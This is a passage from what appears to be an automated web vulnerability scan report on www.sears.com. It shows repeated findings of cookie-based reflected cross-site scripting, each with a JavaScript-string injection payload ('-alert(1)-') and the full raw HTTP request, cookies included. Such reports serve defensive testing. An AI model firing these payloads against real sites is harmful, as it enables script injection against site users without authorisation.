s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e795c'-alert(1)-'ef7198b81e8 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GiftRegistryHomeView?storeId=10153&catalogId=12605&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6re795c'-alert(1)-'ef7198b81e8; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25f58'-alert(1)-'e2f4ca79397 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GiveTogether?storeId=10153&nextView=GTHomePageView&catalogId=12605&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r25f58'-alert(1)-'e2f4ca79397; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c5e9'-alert(1)-'6166113888f was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GiveTogetherHomeView?storeId=10153&catalogId=12605?storeId=10153&catalogId=12605&langId=&nextView=GTHomePageView&adCell=W3 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r1c5e9'-alert(1)-'6166113888f; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff0b0'-alert(1)-'9ada56724e7 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/OrderItemDisplay?storeId=10153&catalogId=12605&orderId=. HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rff0b0'-alert(1)-'9ada56724e7; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60f53'-alert(1)-'eee78ae671c was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/StoreLocatorView?storeId=10153&catalogId=12605 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r60f53'-alert(1)-'eee78ae671c; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d93cb'-alert(1)-'11121c42912 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/smv_10153_12605 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rd93cb'-alert(1)-'11121c42912; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;